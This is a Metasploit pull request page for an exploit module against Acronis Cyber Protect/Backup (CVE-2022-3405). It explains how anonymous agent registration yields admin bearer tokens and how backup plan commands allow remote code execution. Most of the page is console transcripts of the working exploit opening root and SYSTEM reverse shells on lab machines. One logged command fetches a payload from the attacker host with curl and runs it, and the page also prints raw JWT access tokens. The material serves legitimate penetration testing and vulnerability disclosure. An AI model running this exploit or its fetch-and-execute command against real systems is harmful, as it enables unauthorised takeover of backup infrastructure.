metasploit-framework icon indicating copy to clipboard operation
metasploit-framework copied to clipboard

Acronis Cyber Backup/Protect RCE [CVE-2022-3405]

Open h00die-gr3y opened this issue 1 year ago • 1 comments

Acronis Cyber Protect or Backup is an enterprise backup/recovery solution for all, compute, storage and application resources. Businesses and Service Providers are using it to protect and backup all IT assets in their IT environment. The Acronis Cyber Protect appliance, in its default configuration, allows the anonymous registration of new protect/backup agents on new endpoints. This API endpoint also generates bearer tokens which the agent then uses to authenticate to the appliance. As the management web console is running on the same port as the API for the agents, this bearer token is also valid for any actions on the web console. This allows an attacker with network access to the appliance to start the registration of a new agent, retrieve a bearer token that provides admin access to the available functions in the web console.

The web console contains multiple possibilities to execute arbitrary commands on both the agents (e.g., via PreCommands for a backup) and also the appliance (e.g., via a Validation job on the agent of the appliance). These options can easily be set with the provided bearer token, which leads to a complete compromise of all agents and the appliance itself.

You can either use the module auxiliary/gather/acronis_cyber_protect_machine_info_disclosure to collect target info for exploitation in this module. Or just run this module standalone and it will try to exploit the first online endpoint matching your target and payload settings configured at the module.

Acronis Cyber Protect 15 (Windows, Linux) before build 29486 and Acronis Cyber Backup 12.5 (Windows, Linux) before build 16545 are vulnerable.

The following releases were tested.

Acronis Cyber Protect 15 ISO appliances:

  • Acronis Cyber Protect 15 Build 28503
  • Acronis Cyber Protect 15 Build 27009
  • Acronis Cyber Protect 15 Build 26981
  • Acronis Cyber Protect 15 Build 26172

Acronis Cyber Protect 12.5 ISO appliances:

  • Acronis Cyber Protect 12.5 Build 16428
  • Acronis Cyber Protect 12.5 Build 16386
  • Acronis Cyber Protect 12.5 Build 14330
  • Acronis Cyber Protect 12.5 Build 11010

Installation steps to install the Acronis Cyber Protect/Backup appliance

  • Install the virtualization engine VMware Fusion on your preferred platform.
  • Here are the installation instructions for VMware Fusion on MacOS.
  • Download the Acronis Cyber Backup/Protect iso images from here.
  • Install the iso image in your virtualization engine by unzipping the appliance image and import the ovf image.
  • During the boot, select Install appliance and configure the installation settings such as setting the root password and IP address using the option change installation settings.
  • Boot up the VM and should be able to access the Acronis Cyber Protect/Backup appliance either thru the console, ssh on port 22 via the webui via http://your_ip:9877.
  • Ensure that you have registered yourself on the Acronis Web site and applied for the 30-days trial for Acronis Cyber Protect.
  • Login into the appliance via the webui.
  • Follow the license instructions to apply your 30-day trial license.

You are now ready to test the module.

Verification Steps

  • [ ] Start msfconsole
  • [ ] modules/exploits/multi/acronis_cyber_protect_unauth_rce_cve_2022_3405
  • [ ] set rhosts <ip-target>
  • [ ] set lhost <attacker-ip>
  • [ ] exploit
  • [ ] you should get a shell or meterpreter session depending on your settings.

Options

These three options below are needed to target an specific endpoint registered on the Acronis Protect/Backup appliance. This information can be collected using the recon module auxiliary/gather/acronis_cyber_protect_machine_info_disclosure. This information is not mandatory for the module to run successfully. You can also run this module standalone and it will try to exploit the first online endpoint matching your target and payload settings configured at the module.

HOSTID

HostId value collected from the recon module auxiliary/gather/acronis_cyber_protect_machine_info_disclosure.

KEY

Key value collected from the recon module auxiliary/gather/acronis_cyber_protect_machine_info_disclosure.

PARENTID

ParentId value collected from the recon module auxiliary/gather/acronis_cyber_protect_machine_info_disclosure.

OUTPUT

You can use option none where no information is stored or printed to the console (default). Choosing option json will store all information at a file in json format at the loot directory. You can use this file in combination with jq for offline queries and processing.

Scenarios

msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > info

       Name: Acronis Cyber Protect/Backup remote code execution
     Module: exploit/multi/acronis_cyber_protect_unauth_rce_cve_2022_3405
   Platform: Unix, Linux, Windows
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2022-11-08

Provided by:
  h00die-gr3y <[email protected]>
  Sandro Tolksdorf of usd AG.

Module side effects:
 artifacts-on-disk
 ioc-in-logs

Module stability:
 crash-safe

Module reliability:
 repeatable-session

Available targets:
      Id  Name
      --  ----
  =>  0   Unix/Linux Command
      1   Windows Command

Check supported:
  Yes

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  HOSTID                      no        hostId value collected from recon module "auxiliary/gather/a
                                        cronis_cyber_protect_machine_info_disclosure"
  KEY                         no        key value collected from recon module "auxiliary/gather/acro
                                        nis_cyber_protect_machine_info_disclosure"
  OUTPUT     none             yes       Output format to use (Accepted: none, json)
  PARENTID                    no        parentId value collected from recon module "auxiliary/gather
                                        /acronis_cyber_protect_machine_info_disclosure"
  Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                      yes       The target host(s), see https://docs.metasploit.com/docs/usi
                                        ng-metasploit/basics/using-metasploit.html
  RPORT      9877             yes       The target port (TCP)
  SSL        true             no        Negotiate SSL/TLS for outgoing connections
  TARGETURI  /                yes       The URI of the vulnerable Acronis Cyber Protect/Backup insta
                                        nce
  VHOST                       no        HTTP server virtual host

Payload information:

Description:
  Acronis Cyber Protect or Backup is an enterprise backup/recovery solution for all,
  compute, storage and application resources. Businesses and Service Providers are using it
  to protect and backup all IT assets in their IT environment.
  The Acronis Cyber Protect appliance, in its default configuration, allows the anonymous
  registration of new protect/backup agents on new endpoints. This API endpoint also
  generates bearer tokens which the agent then uses to authenticate to the appliance.
  As the management web console is running on the same port as the API for the agents, this
  bearer token is also valid for any actions on the web console. This allows an attacker
  with network access to the appliance to start the registration of a new agent, retrieve a
  bearer token that provides admin access to the available functions in the web console.

  The web console contains multiple possibilities to execute arbitrary commands on both the
  agents (e.g., via PreCommands for a backup) and also the appliance (e.g., via a Validation
  job on the agent of the appliance). These options can easily be set with the provided bearer
  token, which leads to a complete compromise of all agents and the appliance itself.

  You can either use the module `auxiliary/gather/acronis_cyber_protect_machine_info_disclosure`
  to collect target info for exploitation in this module. Or just run this module standalone and
  it will try to exploit the first online endpoint matching your target and payload settings
  configured at the module.

  Acronis Cyber Protect 15 (Windows, Linux) before build 29486 and
  Acronis Cyber Backup 12.5 (Windows, Linux) before build 16545 are vulnerable.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2022-3405
  https://herolab.usd.de/security-advisories/usd-2022-0008/
  https://attackerkb.com/topics/WVI3r5eNIc/cve-2022-3405


View the full module info with the info -d command.

Acronis Cyber Backup 12.5 build 14330 VMware appliance - Linux target

msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > set rhosts 192.168.201.6
rhosts => 192.168.201.6
msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > set target 0
target => 0
msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > set payload cmd/linux/http/x64/meterpreter/reverse_tcp
payload => cmd/linux/http/x64/meterpreter/reverse_tcp
msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > set FETCH_SRVHOST 192.168.201.8
FETCH_SRVHOST => 192.168.201.8
msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > set FETCH_WRITABLE_DIR /tmp
FETCH_WRITABLE_DIR => /tmp
msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > exploit

[*] Started reverse TCP handler on 192.168.201.8:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[!] The service is running, but could not be validated.
[*] Retrieve the first access token.
[*] Register a dummy backup agent.
[*] Dummy backup agent registration is successful.
[*] Retrieve the second access token.
[+] The target appears to be vulnerable. Acronis Cyber Protect/Backup 12.5.14330
[*] Retrieve first online target registered at the Acronis Cyber Protect/Backup appliance.
[*] Found online target matching your target setting Unix/Linux Command.
[+] hostId: 345C3F1E-92C3-4E92-8EF8-AC6BF136BB83
[+] parentId: phm-group.7C2057CC-8D32-40CA-9B83-4A8E73078F7F.disks
[+] key: phm.F70D1B08-5097-4CE5-8E22-F9E0DB75401F@345C3F1E-92C3-4E92-8EF8-AC6BF136BB83.disks
[*] type: machine
[*] hostname: AcronisAppliance-AC319
[*] IP: 192.168.201.6
[*] OS: GNU/Linux
[*] ARCH: linux
[*] ONLINE: true
[*] Import backup plan with payload for target with hostId: 345C3F1E-92C3-4E92-8EF8-AC6BF136BB83.
[*] Executing Unix/Linux Command with payload cmd/linux/http/x64/meterpreter/reverse_tcp
[+] Backup plan is successful removed.
[*] Sending stage (3045380 bytes) to 192.168.201.6
[*] Meterpreter session 22 opened (192.168.201.8:4444 -> 192.168.201.6:60862) at 2024-10-23 12:35:44 +0000

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer     : 192.168.201.6
OS           : CentOS 7.4.1708 (Linux 3.10.0-693.11.6.el7.x86_64)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > pwd
/var/lib/Acronis/mms
meterpreter >

Acronis Cyber Backup 12.5 build 14330 VMware appliance - Windows target

msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > set target 1
target => 1
msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > set output json
target => json
msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > set payload cmd/windows/reverse_powershell
payload => cmd/windows/reverse_powershell
msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > exploit

[*] Started reverse TCP handler on 192.168.201.8:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[!] The service is running, but could not be validated.
[*] Retrieve the first access token.
[*] Register a dummy backup agent.
[*] Dummy backup agent registration is successful.
[*] Retrieve the second access token.
[+] The target appears to be vulnerable. Acronis Cyber Protect/Backup 12.5.14330
[*] Retrieve first online target registered at the Acronis Cyber Protect/Backup appliance.
[+] Configuration details are successfully saved in json format to /root/.msf4/loot/20241023124641_default_192.168.201.6_acronis.cyber.pr_949551.bin
[*] Found online target matching your target setting Windows Command.
[+] hostId: 28BAFD9F-F9F1-481F-A970-1A6ED70736AC
[+] parentId: phm-group.7C2057CC-8D32-40CA-9B83-4A8E73078F7F.disks
[+] key: phm.0CA16CD4-1C6D-44D2-BEF1-B9F146005EE1@28BAFD9F-F9F1-481F-A970-1A6ED70736AC.disks
[*] type: machine
[*] hostname: WIN-BJDNH44EEDB
[*] IP: 192.168.201.5
[*] OS: Microsoft Windows Server 2019 Standard
[*] ARCH: windows
[*] ONLINE: true
[*] Import backup plan with payload for target with hostId: 28BAFD9F-F9F1-481F-A970-1A6ED70736AC.
[*] Executing Windows Command with payload cmd/windows/reverse_powershell
[*] Command shell session 23 opened (192.168.201.8:4444 -> 192.168.201.5:49780) at 2024-10-23 12:46:51 +0000
[+] Backup plan is successful removed.

Shell Banner:
Microsoft Windows [Version 10.0.17763.107]
-----


C:\Windows\system32>whoami
whoami
nt authority\system

C:\Windows\system32>systeminfo
systeminfo

Host Name:                 WIN-BJDNH44EEDB
OS Name:                   Microsoft Windows Server 2019 Standard
OS Version:                10.0.17763 N/A Build 17763
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Standalone Server
OS Build Type:             Multiprocessor Free
Registered Owner:          Windows User
Registered Organization:
Product ID:                00429-70000-00000-AA946
Original Install Date:     1/26/2023, 10:05:52 AM
System Boot Time:          10/23/2024, 2:44:05 PM
System Manufacturer:       innotek GmbH
System Model:              VirtualBox
System Type:               x64-based PC
Processor(s):              1 Processor(s) Installed.
                           [01]: Intel64 Family 6 Model 158 Stepping 13 GenuineIntel ~2307 Mhz
BIOS Version:              innotek GmbH VirtualBox, 12/1/2006
Windows Directory:         C:\Windows
System Directory:          C:\Windows\system32
Boot Device:               \Device\HarddiskVolume1
System Locale:             en-us;English (United States)
Input Locale:              en-us;English (United States)
Time Zone:                 (UTC+01:00) Amsterdam, Berlin, Bern, Rome, Stockholm, Vienna
Total Physical Memory:     2,048 MB
Available Physical Memory: 475 MB
Virtual Memory: Max Size:  4,224 MB
Virtual Memory: Available: 2,800 MB
Virtual Memory: In Use:    1,424 MB
Page File Location(s):     C:\pagefile.sys
Domain:                    WORKGROUP
Logon Server:              N/A
Hotfix(s):                 1 Hotfix(s) Installed.
                           [01]: KB4464455
Network Card(s):           1 NIC(s) Installed.
                           [01]: Intel(R) PRO/1000 MT Desktop Adapter
                                 Connection Name: Ethernet
                                 DHCP Enabled:    No
                                 IP address(es)
                                 [01]: 192.168.201.5
                                 [02]: fe80::85ec:4690:3774:2b6b
                                 [03]: fdf7:94fa:75b3:fe44:85ec:4690:3774:2b6b
Hyper-V Requirements:      A hypervisor has been detected. Features required for Hyper-V will not be displayed.

C:\Windows\system32>

Acronis Cyber Backup 15 build 27009 VMware appliance - Linux target

msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > set rhosts 192.168.201.6
rhosts => 192.168.201.6
msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > set target 0
target => 0
msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > set payload cmd/unix/reverse_bash
payload => cmd/unix/reverse_bash
msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > exploit

[*] Started reverse TCP handler on 192.168.201.8:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[!] The service is running, but could not be validated.
[*] Retrieve the first access token.
[*] Register a dummy backup agent.
[*] Dummy backup agent registration is successful.
[*] Retrieve the second access token.
[+] The target appears to be vulnerable. Acronis Cyber Protect/Backup 15.0.27009
[*] Retrieve first online target registered at the Acronis Cyber Protect/Backup appliance.
[*] Found online target matching your target setting Unix/Linux Command.
[+] hostId: D287E868-EDBB-4FE9-85A9-F928AA10EE5D
[+] parentId: 00000000-0000-0000-0000-000000000000
[+] key: phm.EA9A6E26-38B5-4727-9957-FD7CDD7BF2CC@D287E868-EDBB-4FE9-85A9-F928AA10EE5D.disks
[*] type: machine
[*] hostname: AcronisAppliance-FCD94
[*] IP: 192.168.201.6
[*] OS: Linux: CentOS Linux release 7.6.1810 (Core)
[*] ARCH: linux
[*] ONLINE: true
[*] Import backup plan with payload for target with hostId: D287E868-EDBB-4FE9-85A9-F928AA10EE5D.
[*] Executing Unix/Linux Command with payload cmd/unix/reverse_bash
[*] Command shell session 21 opened (192.168.201.8:4444 -> 192.168.201.6:35722) at 2024-10-23 12:20:05 +0000
[+] Backup plan is successful removed.

uname -a
Linux AcronisAppliance-FCD94 3.10.0-957.27.2.el7.x86_64 #1 SMP Mon Jul 29 17:46:05 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
id
uid=0(root) gid=0(root) groups=0(root)
pwd
/var/lib/Acronis/mms

Limitations

In some occasions, the exploit might fail. Adjust the WfsDelay advanced option might help.

h00die-gr3y avatar Oct 23 '24 12:10 h00die-gr3y

Dear reviewers, Please review this module in combination with https://github.com/rapid7/metasploit-framework/pull/19582. Thanks !

h00die-gr3y avatar Oct 23 '24 13:10 h00die-gr3y

Hey @h00die-gr3y this module is looking great. If you could just update it to make use of your new Arcronis mixin/ remove the methods in this module that got moved into the mixin, that would be much appreciated!

After that I think it's ready to land. :)

msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > set rhost 192.168.1.73
rhost => 192.168.1.73
msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > set verbose true
verbose => true
msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > run

[*] Command to run on remote host: curl -so ./FgSeUYAj http://192.168.1.65:8080/V3hgkVKmhAqViDKE6xmupA; chmod +x ./FgSeUYAj; ./FgSeUYAj &
[*] Fetch handler listening on 192.168.1.65:8080
[*] HTTP server started
[*] Adding resource /V3hgkVKmhAqViDKE6xmupA
[*] Started reverse TCP handler on 192.168.1.65:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Retrieve the first access token.
[*] Extracted first access token: eyJhbGciOiJSUzI1NiIsImtpZCI6ImZmM2I1OWFkMmQxNzRmZjI5NDg0YjYyYTlmNDZmZmY1MGYyYjg2MDUifQ.eyJhdWQiOiJiNGRmMmI1NC1hY2VjLTExZWYtYjE4Zi0wMDBjMjk3YzdiNGUiLCJleHAiOjE3MzI4MTgyMTEsImp0aSI6IjY4OTZjMGFiLTIyYWYtNDhiMy1iMmNhLTA0NDhlMWI3YmQwZSIsImlhdCI6MTczMjczMTgxMSwiaXNzIjoiYmFja3VwX2FjY291bnRfc2VydmVyIiwic3ViIjoiQU5PTllNT1VTIExPR09OIiwic2NvcGUiOlt7InRpZCI6IjAwMDAwMDAwLTAwMDAtMDAwMC0wMDAwLTAwMDAwMDAwMDAwMCIsInJvbGUiOiJhbm9ueW1vdXMifSx7InRpZCI6IjAwMDAwMDAwLTAwMDAtMDAwMC0wMDAwLTAwMDAwMDAwMDAwMCIsInJvbGUiOiJvYXV0aDJfY2xpZW50X2FkbWluIn0seyJ0aWQiOiIwMDAwMDAwMC0wMDAwLTAwMDAtMDAwMC0wMDAwMDAwMDAwMDAiLCJyb2xlIjoib2F1dGgyX2NsaWVudF9hZG1pbihiYWNrdXBfYWdlbnQpIn0seyJ0aWQiOiIwMDAwMDAwMC0wMDAwLTAwMDAtMDAwMC0wMDAwMDAwMDAwMDAiLCJyb2xlIjoib2F1dGgyX2NsaWVudF9hZG1pbihiYWNrdXBfc3RvcmFnZSkifV0sInZlciI6Mn0.Qs0bh1Svf62YAIHyhHlxIg3WGYJ5djBHbY7USFY_X6khmdJRzbBVFHhduFdjaiYCWAkt5czwGfMQJo654YyuaEnc8xnBQsGj3w8vbb-lkri1lbH3C_YgYQegGVnOxKhfnnPpA8nf4uLlpG_JcZHRWV22129rjJcVdMN2Sbz24c2DqYRPgGhAYwxkERizBMwkQ0084rXYOBP8nh3KMTczKFG8wHDciBVZIi4IMJAyPHnoaKkK1FQWSQXm8fqwxnvRoqGuPw8BKZCCUEvuXoarFsPpFKeR-GfwFMEu8tDUzkaIjwJpmlJjMmnFmaQdW1Iap-PcUteLMJzbrLtaMCjSgw
[*] Register a dummy backup agent.
[*] Dummy backup agent registration is successful.
[*] Retrieve the second access token.
[*] Extracted second access token: eyJhbGciOiJSUzI1NiIsImtpZCI6ImZmM2I1OWFkMmQxNzRmZjI5NDg0YjYyYTlmNDZmZmY1MGYyYjg2MDUifQ.eyJhdWQiOiI5YmRmNjhiNi0zZWZiLTRlNjYtYjM3NS0yMWVlYzFlMmY1ZTEiLCJleHAiOjE3MzUzMjM4MTIsImp0aSI6ImI5NWI2NTdkLWMzYWYtNDc5Zi05ZDY0LTAzN2E1ZmIxZTM3MiIsImlhdCI6MTczMjczMTgxMiwiaXNzIjoiYmFja3VwX2FjY291bnRfc2VydmVyIiwic3ViIjoiOWJkZjY4YjYtM2VmYi00ZTY2LWIzNzUtMjFlZWMxZTJmNWUxIiwic2NvcGUiOlt7InRpZCI6IjAwMDAwMDAwLTAwMDAtMDAwMC0wMDAwLTAwMDAwMDAwMDAwMCIsInJuIjoidGFza19tYW5hZ2VyIiwicnAiOiJxdWV1ZTEiLCJyb2xlIjoiY29uc3VtZXIifSx7InRpZCI6IjAwMDAwMDAwLTAwMDAtMDAwMC0wMDAwLTAwMDAwMDAwMDAwMCIsInJuIjoic3RvcmFnZSIsInJvbGUiOiJyZWFkd3JpdGUifV0sInZlciI6Mn0.Ha9ljeBr8S5h-Mqm02yRQ2N8mervLsCyoqjStRMbTh9CH8OYqYuZiFmXYbbNwkSZ4rckKzjkzgMLmSelF2dXLwN5oisX7_jOqLWSCnekacg2cfstJRcbsKTceV0LWrNxuy3ezZGSHZv347K-HfRALmCmXEJBO-AhgJz49dWRHjv25msPbBSVr5CP2hgSIl27PjboROzo-Ns9pkOI-YNcpUh3A0AgsJjifu3lZZm-6go9loWXTyUyf6RmXqnvv-PxeiIjOpTobBn28hrOiRD3tGq6nGMZcHxFdUT9ZoNOaCm_Fs2O297eqZCNjS5ZZ4Vc3TT_d2cZSKQCcNUnS--M0Q
[+] The target appears to be vulnerable. Acronis Cyber Protect/Backup 12.5.16428
[*] Retrieve first online target registered at the Acronis Cyber Protect/Backup appliance.
[*] Found online target matching your target setting Unix/Linux Command.
[+] hostId: 6AE73379-5956-4FD4-B8E3-C6A429CC3E80
[+] parentId: phm-group.7C2057CC-8D32-40CA-9B83-4A8E73078F7F.disks
[+] key: phm.3BFE7DD7-9039-4E13-A89E-984084052A89@6AE73379-5956-4FD4-B8E3-C6A429CC3E80.disks
[*] type: machine
[*] hostname: AcronisAppliance-8616D
[*] IP: 192.168.1.73
[*] OS: GNU/Linux
[*] ARCH: linux
[*] ONLINE: true
[*] Import backup plan with payload for target with hostId: 6AE73379-5956-4FD4-B8E3-C6A429CC3E80.
[*] Executing Unix/Linux Command with payload cmd/linux/http/x64/meterpreter/reverse_tcp
[*] Client 192.168.1.73 requested /V3hgkVKmhAqViDKE6xmupA
[*] Sending payload to 192.168.1.73 (curl/7.29.0)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 192.168.1.73
[*] Meterpreter session 1 opened (192.168.1.65:4444 -> 192.168.1.73:38012) at 2024-11-27 10:23:49 -0800
[+] Backup plan is successful removed.

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer     : 192.168.1.73
OS           : CentOS 7.4.1708 (Linux 3.10.0-693.21.1.el7.x86_64)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter >

jheysel-r7 avatar Nov 27 '24 18:11 jheysel-r7

Updated module using acronis_cyber mixin (see https://github.com/rapid7/metasploit-framework/pull/19583/commits/2115c81654819d9b01cff4374c2f923e714dcd4d)

h00die-gr3y avatar Nov 27 '24 22:11 h00die-gr3y

Release Notes

This exploits an RCE and sensitive information disclosure vulnerability due to excessive privileges assigned to Acronis Agent. The following products are affected: Acronis Cyber Protect 15 before build 29486, Acronis Cyber Backup 12.5 before build 16545.

jheysel-r7 avatar Nov 28 '24 17:11 jheysel-r7